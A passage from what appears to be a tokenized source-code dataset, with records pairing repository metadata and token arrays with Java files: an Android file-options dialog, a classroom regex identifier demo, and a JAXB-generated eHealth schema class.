924,
1175,
3787,
4749,
4050,
299,
556,
3787,
4749,
459,
2061,
742,
303,
1041,
294,
338,
2762,
1187,
4324,
49,
2959,
507,
2571,
13979,
4324,
51,
294,
588,
303,
581,
924,
1175,
3787,
4749,
11877,
100,
30801,
299,
556,
3787,
4749,
459,
1947,
3303,
742,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 363
| true
| 69.773818
| true
| true
|
FileOptionsDialogFragment.java
|
/FileExtraction/Java_unseen/MrIkso_ApkRepacker/app/src/main/java/com/mrikso/apkrepacker/fragment/dialogs/bottomsheet/FileOptionsDialogFragment.java
|
package com.mrikso.apkrepacker.fragment.dialogs.bottomsheet;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import androidx.annotation.IdRes;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import com.google.android.material.bottomsheet.BottomSheetDialogFragment;
import com.mrikso.apkrepacker.R;
import com.mrikso.apkrepacker.activity.CodeEditorActivity;
import com.mrikso.apkrepacker.utils.IntentUtils;
import com.mrikso.apkrepacker.utils.StringUtils;
import java.io.File;
public class FileOptionsDialogFragment extends BottomSheetDialogFragment implements View.OnClickListener {
public static final String TAG = "FileOptionsDialogFragment";
// private FileItemClickListener mListener;
private static String mFilePath;
private static int mLineNumber;
public static FileOptionsDialogFragment newInstance(String filePath, int lineNumber) {
mFilePath = filePath;
mLineNumber = lineNumber;
return new FileOptionsDialogFragment();
}
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
return inflater.inflate(R.layout.bottom_sheet_file_options, container, false);
}
@Override
public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
TextView tv_openInEditor = view.findViewById(R.id.open_in_editor);
/* tv_openInEditor.setVisibility(openInEditor ? View.VISIBLE : View.GONE);*/
tv_openInEditor.setOnClickListener(this);
TextView tv_openWith = view.findViewById(R.id.open_with);
// tv_openWith.setVisibility(openWith ? View.VISIBLE : View.GONE);
tv_openWith.setOnClickListener(this);
view.findViewById(R.id.open_with).setOnClickListener(this);
view.findViewById(R.id.action_copy_path).setOnClickListener(this);
// view.findViewById(R.id.add_new_folder).setOnClickListener(this);
// view.findViewById(R.id.delete_file).setOnClickListener(this);
}
/* @Override
public void onAttach(@NonNull Context context) {
super.onAttach(context);
final Fragment parent = getParentFragment();
if (parent != null) {
mListener = (FileItemClickListener) parent;
} else {
mListener = (FileItemClickListener) context;
}
// if (context instanceof FileItemClickListener) {
// } else {
// throw new RuntimeException(context.toString()
// + " must implement ItemClickListener");
// }
}*/
@Override
public void onDetach() {
super.onDetach();
// mListener = null;
}
@Override
public void onClick(View view) {
switch (view.getId()){
case R.id.open_in_editor:
Intent intent = new Intent(getActivity(), CodeEditorActivity.class);
intent.putExtra("filePath",mFilePath);
intent.putExtra("offset", mLineNumber);
requireContext().startActivity(intent);
dismiss();
break;
case R.id.open_with:
startActivity(IntentUtils.openFileWithIntent(new File(mFilePath)));
dismiss();
break;
case R.id.action_copy_path:
StringUtils.setClipboard(requireContext(), mFilePath, true);
break;
}
// mListener.onFileItemClick(view.getId());
}
/* public interface FileItemClickListener {
void onFileItemClick(@IdRes int item);
}*/
}
| 3,877
|
Java
|
.java
|
MrIkso/ApkRepacker
| 75
| 22
| 1
|
2020-02-24T18:57:15Z
|
2023-12-27T16:11:52Z
|
8dfb3410de3740075a6449cb4fea6c88de9b0b107ee4cfb81588d0c41a42c30f
|
[
1337,
785,
51,
114,
22539,
780,
51,
25215,
287,
29218,
51,
9883,
51,
41463,
51,
3476,
7161,
64,
222,
222,
485,
2616,
51,
1304,
51,
1237,
64,
222,
485,
2616,
51,
1304,
51,
8770,
64,
222,
485,
2616,
51,
519,
51,
4775,
64,
222,
485,
2616,
51,
1090,
51,
25966,
64,
222,
485,
2616,
51,
1090,
51,
1089,
64,
222,
485,
2616,
51,
1090,
51,
22484,
64,
222,
485,
2616,
51,
3872,
51,
12791,
64,
222,
222,
485,
10484,
51,
4341,
51,
625,
740,
64,
222,
485,
10484,
51,
4341,
51,
10082,
64,
222,
485,
10484,
51,
4341,
51,
6825,
64,
222,
485,
10484,
51,
9883,
51,
745,
51,
5763,
64,
222,
222,
485,
785,
51,
2193,
51,
4048,
51,
5025,
51,
3476,
7161,
51,
7883,
8337,
3742,
5763,
64,
222,
485,
785,
51,
114,
22539,
780,
51,
25215,
287,
29218,
51,
87,
64,
222,
485,
785,
51,
114,
22539,
780,
51,
25215,
287,
29218,
51,
6904,
51,
1241,
4836,
3697,
64,
222,
485,
785,
51,
114,
22539,
780,
51,
25215,
287,
29218,
51,
2324,
51,
8770,
2769,
64,
222,
485,
785,
51,
114,
22539,
780,
51,
25215,
287,
29218,
51,
2324,
51,
15193,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
222,
942,
462,
2050,
2045,
3742,
5763,
2041,
26243,
8337,
3742,
5763,
4584,
4340,
51,
12733,
320,
465,
581,
924,
1175,
910,
19318,
299,
332,
991,
2045,
3742,
5763,
884,
3051,
453,
964,
2050,
42473,
364,
2239,
64,
303,
964,
924,
910,
364,
9141,
64,
303,
964,
924,
648,
364,
29652,
64,
465,
581,
924,
2050,
2045,
3742,
5763,
556,
1825,
45,
671,
18030,
49,
648,
47585,
46,
320,
310,
364,
9141,
299,
18030,
64,
310,
364,
29652,
299,
47585,
64,
310,
461,
556,
2050,
2045,
3742,
5763,
492,
303,
339,
465,
496,
6825,
303,
496,
1806,
303,
581,
4340,
16456,
1089,
4810,
10082,
37314,
29704,
49,
496,
6825,
29721,
3863,
49,
496,
6825,
14092,
19902,
46,
320,
310,
461,
29704,
51,
23053,
45,
87,
51,
3106,
51,
3476,
100,
7161,
100,
781,
100,
2200,
49,
3863,
49,
920,
312,
303,
339,
465,
496,
1806,
303,
581,
782,
563,
1089,
6880,
4810,
10082,
4340,
2221,
49,
496,
6825,
14092,
19902,
46,
320,
310,
2615,
51,
286,
1089,
6880,
45,
1090,
49,
19902,
312,
310,
18503,
14996,
100,
1693,
402,
4836,
299,
2221,
51,
14137,
45,
87,
51,
333,
51,
1693,
100,
285,
100,
5739,
312,
294,
1276,
280,
14996,
100,
1693,
402,
4836,
51,
20070,
45,
1693,
402,
4836,
1037,
4340,
51,
18392,
518,
4340,
51,
27774,
44472,
310,
14996,
100,
1693,
402,
4836,
51,
18903,
45,
597,
312,
603,
18503,
14996,
100,
1693,
1569,
299,
2221,
51,
14137,
45,
87,
51,
333,
51,
1693,
100,
1814,
312,
294,
453,
280,
14996,
100,
1693,
1569,
51,
20070,
45,
1693,
1569,
1037,
4340,
51,
18392,
518,
4340,
51,
27774,
312,
310,
14996,
100,
1693,
1569,
51,
18903,
45,
597,
312,
603,
2221,
51,
14137,
45,
87,
51,
333,
51,
1693,
100,
1814,
566,
18903,
45,
597,
312,
310,
2221,
51,
14137,
45,
87,
51,
333,
51,
1160,
100,
3014,
100,
1005,
566,
18903,
45,
597,
312,
303,
453,
283,
2221,
51,
14137,
45,
87,
51,
333,
51,
688,
100,
909,
100,
6204,
566,
18903,
45,
597,
312,
416,
453,
244,
2221,
51,
14137,
45,
87,
51,
333,
51,
2577,
100,
781,
566,
18903,
45,
597,
312,
303,
339,
736,
1276,
244,
496,
1806,
303,
581,
782,
563,
14320,
4810,
10082,
7063,
1637,
46,
320,
310,
2615,
51,
286,
14320,
45,
1834,
312,
310,
1175,
18666,
2952,
299,
38791,
5763,
492,
310,
434,
327,
2562,
882,
762,
46,
320,
343,
364,
2239,
299,
327,
991,
42473,
46,
2952,
64,
310,
339,
832,
320,
343,
364,
2239,
299,
327,
991,
42473,
46,
1637,
64,
310,
339,
310,
453,
244,
434,
327,
1834,
5118,
2050,
42473,
46,
320,
603,
453,
244,
339,
832,
320,
310,
453,
280,
1440,
556,
13383,
45,
1834,
51,
3127,
365,
310,
453,
282,
494,
332,
2315,
2075,
6337,
10121,
742,
310,
453,
339,
303,
32117,
465,
496,
1806,
303,
581,
782,
563,
38568,
365,
320,
310,
2615,
51,
286,
38568,
492,
1586,
453,
364,
2239,
299,
762,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
7057,
45,
1089,
2221,
46,
320,
310,
3593,
327,
1090,
51,
7068,
13059,
343,
1152,
578,
51,
333,
51,
1693,
100,
285,
100,
5739,
63,
419,
11790,
8935,
299,
556,
11790,
45,
28176,
1046,
4420,
4836,
3697,
51,
842,
312,
419,
8935,
51,
27988,
459,
14735,
411,
114,
9141,
312,
419,
8935,
51,
27988,
459,
2897,
411,
364,
29652,
312,
419,
1224,
1237,
941,
47347,
45,
13990,
312,
419,
38867,
492,
419,
1644,
64,
343,
1152,
578,
51,
333,
51,
1693,
100,
1814,
63,
419,
26819,
45,
8770,
2769,
51,
1693,
991,
1569,
8770,
45,
909,
2050,
45,
114,
9141,
4254,
419,
38867,
492,
419,
1644,
64,
343,
1152,
578,
51,
333,
51,
1160,
100,
3014,
100,
1005,
63,
419,
26582,
51,
489,
25946,
45,
1999,
1237,
1046,
364,
9141,
49,
878,
312,
419,
1644,
64,
310,
339,
1586,
453,
364,
2239,
51,
286,
991,
1114,
2668,
45,
1090,
51,
7068,
1052,
465,
339,
3051,
1276,
581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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 880
| true
| 67.70699
| true
| true
|
RegexDemo.java
|
/FileExtraction/Java_unseen/StevensDeptECE_CPE552-Java/2022F/session08/session08/src/main/java/edu/stevens/session08/RegexDemo.java
|
package edu.stevens.session08;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.*;
import java.util.regex.*;
// java.util.ArrayList
// java.util.HashSet
/**
* @author DovKr
*/
public class RegexDemo {
public static ArrayList<String> readKeywordList() {
ArrayList<String> keywords = new ArrayList<>();
try {
FileReader fr = new FileReader("keywords.txt");
BufferedReader br = new BufferedReader(fr);
String line;
while ((line = br.readLine()) != null ){
keywords.add(line.strip());
}
} catch (Exception e) {
e.printStackTrace();
return new ArrayList<>();
}
return keywords;
}
public static HashSet<String> readKeywordSet() {
HashSet<String> keywords = new HashSet<>();
try {
FileReader fr = new FileReader("keywords.txt");
BufferedReader br = new BufferedReader(fr);
String line;
while ((line = br.readLine()) != null ){
keywords.add(line.strip());
}
} catch (Exception e) {
e.printStackTrace();
return new HashSet<>();
}
return keywords;
}
public static void main(String[] args) {
ArrayList<String> keywords = readKeywordList();
HashSet<String> keywordsHash = readKeywordSet();
String s = "int a = 5; long thisIsALongVariableName = 6;";
Pattern p = Pattern.compile("[a-zA-Z_$][0-9A-Za-z$_]*" );
Matcher m = p.matcher(s);
int start = 0;
boolean result = m.find(start);
outer:
while (result) {
String name = m.group();
for (int i = 0; i < keywords.size(); i++)
if (keywords.get(i).equals(name) ) {
start = m.end();
result = m.find(start);
continue outer;
}
//if (keywordsHash.contains(name)) {
//} else
System.out.println(name);
start = m.end();
result = m.find(start);
};
}
}
| 1,976
|
Java
|
.java
|
StevensDeptECE/CPE552-Java
| 20
| 39
| 4
|
2018-01-19T22:37:38Z
|
2023-05-01T21:33:06Z
|
e9d9aa6f2abe20985ded8c00aca17880f99ef6fc34c49486cf2ce26c8b65aea8
|
[
1337,
15357,
51,
289,
5103,
1249,
51,
2867,
53,
61,
64,
222,
222,
485,
1401,
51,
735,
51,
35094,
64,
222,
485,
1401,
51,
735,
51,
33167,
64,
222,
485,
1401,
51,
1058,
7737,
222,
485,
1401,
51,
1058,
51,
7927,
7737,
222,
222,
325,
1401,
51,
1058,
51,
7119,
222,
325,
1401,
51,
1058,
51,
17163,
222,
1350,
222,
338,
496,
2133,
493,
1558,
29213,
222,
588,
222,
942,
462,
18035,
11576,
320,
353,
581,
924,
5068,
65,
671,
67,
1511,
13094,
739,
365,
320,
303,
5068,
65,
671,
67,
16418,
299,
556,
5068,
6984,
303,
1614,
320,
416,
38773,
4953,
299,
556,
38773,
459,
7267,
51,
2787,
742,
416,
28731,
3220,
299,
556,
28731,
45,
2197,
312,
416,
910,
1646,
64,
8911,
2236,
244,
1849,
948,
299,
3220,
51,
29240,
1177,
882,
762,
10555,
310,
16418,
51,
688,
45,
948,
51,
7237,
1052,
416,
339,
303,
339,
2385,
327,
1002,
503,
46,
320,
416,
503,
51,
9428,
492,
416,
461,
556,
5068,
6984,
303,
339,
303,
461,
16418,
64,
353,
339,
353,
581,
924,
14253,
65,
671,
67,
1511,
13094,
903,
365,
320,
303,
14253,
65,
671,
67,
16418,
299,
556,
14253,
6984,
303,
1614,
320,
416,
38773,
4953,
299,
556,
38773,
459,
7267,
51,
2787,
742,
416,
28731,
3220,
299,
556,
28731,
45,
2197,
312,
416,
910,
1646,
64,
8911,
2236,
244,
1849,
948,
299,
3220,
51,
29240,
1177,
882,
762,
10555,
310,
16418,
51,
688,
45,
948,
51,
7237,
1052,
416,
339,
303,
339,
2385,
327,
1002,
503,
46,
320,
416,
503,
51,
9428,
492,
416,
461,
556,
14253,
6984,
303,
339,
303,
461,
16418,
64,
353,
339,
736,
581,
924,
782,
2594,
45,
671,
1197,
2194,
46,
320,
303,
5068,
65,
671,
67,
16418,
299,
1511,
13094,
739,
492,
303,
14253,
65,
671,
67,
16418,
2899,
299,
1511,
13094,
903,
492,
2205,
910,
328,
299,
332,
429,
331,
299,
244,
58,
64,
1964,
477,
1640,
744,
805,
3836,
577,
299,
244,
59,
37942,
303,
13405,
317,
299,
13405,
51,
7028,
9669,
102,
50,
15169,
50,
95,
20816,
1697,
53,
50,
62,
70,
50,
21972,
50,
127,
11475,
6642,
39,
1110,
303,
33077,
364,
299,
317,
51,
16943,
45,
120,
312,
303,
648,
1496,
299,
244,
53,
64,
303,
1922,
1074,
299,
364,
51,
1828,
45,
1384,
312,
303,
16167,
63,
303,
2236,
327,
1285,
46,
320,
416,
910,
655,
299,
364,
51,
1382,
492,
416,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
16418,
51,
911,
492,
613,
2002,
310,
434,
327,
7267,
51,
390,
45,
110,
566,
3591,
45,
444,
46,
848,
320,
295,
1496,
299,
364,
51,
435,
492,
295,
1074,
299,
364,
51,
1828,
45,
1384,
312,
295,
4056,
16167,
64,
310,
339,
416,
453,
344,
327,
7267,
2899,
51,
4766,
45,
444,
509,
320,
416,
26410,
832,
416,
1189,
51,
560,
51,
3962,
45,
444,
312,
1586,
1496,
299,
364,
51,
435,
492,
416,
1074,
299,
364,
51,
1828,
45,
1384,
312,
303,
1487,
5246,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 499
| true
| 58.057743
| true
| true
|
MomentType.java
|
/FileExtraction/Java_unseen/taktik_icure-backend/src/main/java/org/taktik/icure/services/external/rest/v1/dto/be/ehealth/kmehr/v20131001/be/fgov/ehealth/standards/kmehr/schema/v1/MomentType.java
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2019.06.14 at 03:48:37 PM CEST
//
package org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20131001.be.fgov.ehealth.standards.kmehr.schema.v1;
import java.io.Serializable;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlSchemaType;
import javax.xml.bind.annotation.XmlSeeAlso;
import javax.xml.bind.annotation.XmlType;
import javax.xml.datatype.XMLGregorianCalendar;
import org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20131001.be.fgov.ehealth.standards.kmehr.dt.v1.TextType;
/**
* <p>Java class for momentType complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="momentType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <choice>
* <choice>
* <element name="year" type="{http://www.w3.org/2001/XMLSchema}gYear"/>
* <element name="yearmonth" type="{http://www.w3.org/2001/XMLSchema}gYearMonth"/>
* </choice>
* <sequence>
* <element name="date" type="{http://www.w3.org/2001/XMLSchema}date"/>
* <element name="time" type="{http://www.w3.org/2001/XMLSchema}time" minOccurs="0"/>
* </sequence>
* <element name="text" type="{http://www.ehealth.fgov.be/standards/kmehr/dt/v1}textType"/>
* </choice>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "momentType", propOrder = {
"text",
"date",
"time",
"yearmonth",
"year"
})
@XmlSeeAlso({
DateType.class
})
public class MomentType
implements Serializable
{
private final static long serialVersionUID = 20131001L;
protected TextType text;
@XmlSchemaType(name = "date")
protected XMLGregorianCalendar date;
@XmlSchemaType(name = "time")
protected XMLGregorianCalendar time;
@XmlSchemaType(name = "gYearMonth")
protected XMLGregorianCalendar yearmonth;
@XmlSchemaType(name = "gYear")
protected XMLGregorianCalendar year;
/**
* Gets the value of the text property.
*
* @return
* possible object is
* {@link TextType }
*
*/
public TextType getText() {
return text;
}
/**
* Sets the value of the text property.
*
* @param value
* allowed object is
* {@link TextType }
*
*/
public void setText(TextType value) {
this.text = value;
}
/**
* Gets the value of the date property.
*
* @return
* possible object is
* {@link XMLGregorianCalendar }
*
*/
public XMLGregorianCalendar getDate() {
return date;
}
/**
* Sets the value of the date property.
*
* @param value
* allowed object is
* {@link XMLGregorianCalendar }
*
*/
public void setDate(XMLGregorianCalendar value) {
this.date = value;
}
/**
* Gets the value of the time property.
*
* @return
* possible object is
* {@link XMLGregorianCalendar }
*
*/
public XMLGregorianCalendar getTime() {
return time;
}
/**
* Sets the value of the time property.
*
* @param value
* allowed object is
* {@link XMLGregorianCalendar }
*
*/
public void setTime(XMLGregorianCalendar value) {
this.time = value;
}
/**
* Gets the value of the yearmonth property.
*
* @return
* possible object is
* {@link XMLGregorianCalendar }
*
*/
public XMLGregorianCalendar getYearmonth() {
return yearmonth;
}
/**
* Sets the value of the yearmonth property.
*
* @param value
* allowed object is
* {@link XMLGregorianCalendar }
*
*/
public void setYearmonth(XMLGregorianCalendar value) {
this.yearmonth = value;
}
/**
* Gets the value of the year property.
*
* @return
* possible object is
* {@link XMLGregorianCalendar }
*
*/
public XMLGregorianCalendar getYear() {
return year;
}
/**
* Sets the value of the year property.
*
* @param value
* allowed object is
* {@link XMLGregorianCalendar }
*
*/
public void setYear(XMLGregorianCalendar value) {
this.year = value;
}
}
| 5,025
|
Java
|
.java
|
taktik/icure-backend
| 19
| 25
| 3
|
2018-03-29T12:01:32Z
|
2022-11-18T08:44:46Z
|
6f74acc481f0c274defb556ba7a40354df088320f22f40a0204749c187fa1d04
|
[
325,
222,
325,
1369,
822,
1616,
4741,
829,
341,
4957,
9043,
29327,
456,
7408,
17393,
45,
47329,
46,
9495,
19977,
49,
373,
55,
51,
55,
51,
61,
50,
103,
54,
56,
53,
62,
54,
54,
51,
54,
61,
53,
55,
244,
222,
325,
2819,
350,
102,
995,
366,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
432,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
396,
102,
67,
244,
222,
325,
6213,
23125,
391,
477,
822,
1118,
545,
15058,
12710,
334,
31635,
451,
341,
1932,
5379,
51,
244,
222,
325,
13046,
563,
63,
244,
55,
53,
54,
62,
51,
53,
59,
51,
54,
57,
840,
244,
53,
56,
63,
57,
61,
63,
56,
60,
9401,
409,
4143,
244,
222,
325,
499,
222,
1337,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
56,
54,
53,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
3982,
51,
123,
54,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
41079,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
9794,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
26886,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
7496,
12936,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
40002,
64,
222,
485,
3698,
51,
2608,
51,
24502,
51,
5741,
76,
33820,
9391,
64,
222,
485,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
56,
54,
53,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
2654,
51,
123,
54,
51,
1049,
638,
64,
499,
222,
1350,
222,
338,
350,
117,
67,
5445,
462,
456,
8245,
638,
8667,
847,
51,
222,
338,
1676,
338,
350,
117,
67,
1338,
2434,
5379,
10299,
15834,
341,
2816,
1813,
14561,
4824,
477,
462,
51,
222,
338,
1676,
338,
350,
1023,
67,
222,
338,
568,
2176,
64,
46990,
655,
366,
14128,
638,
432,
222,
338,
280,
568,
2176,
64,
11493,
1795,
67,
222,
338,
281,
568,
2176,
64,
33955,
1712,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
1831,
638,
432,
222,
338,
981,
568,
2176,
64,
11512,
67,
222,
338,
282,
568,
2176,
64,
11512,
67,
222,
338,
2281,
568,
2176,
64,
2559,
655,
366,
4614,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
108,
6633,
3551,
222,
338,
2281,
568,
2176,
64,
2559,
655,
366,
4614,
5926,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
108,
6633,
7367,
3551,
222,
338,
282,
568,
2176,
6532,
11512,
67,
222,
338,
282,
568,
2176,
64,
7543,
67,
222,
338,
2281,
568,
2176,
64,
2559,
655,
366,
787,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
787,
3551,
222,
338,
2281,
568,
2176,
64,
2559,
655,
366,
1021,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
1021,
39,
1865,
34827,
366,
53,
3551,
222,
338,
282,
568,
2176,
6532,
7543,
67,
222,
338,
282,
568,
2176,
64,
2559,
655,
366,
897,
39,
847,
15469,
544,
574,
1516,
51,
106,
9864,
51,
4658,
1558,
51,
883,
52,
9165,
120,
52,
112,
308,
3943,
52,
2654,
52,
123,
54,
130,
897,
638,
3551,
222,
338,
981,
568,
2176,
6532,
11512,
67,
222,
338,
281,
568,
2176,
6532,
33955,
67,
222,
338,
280,
568,
2176,
6532,
11493,
1795,
67,
222,
338,
568,
2176,
6532,
46990,
67,
222,
338,
594,
1023,
67,
222,
338,
1676,
338,
1676,
588,
222,
69,
4411,
9794,
638,
45,
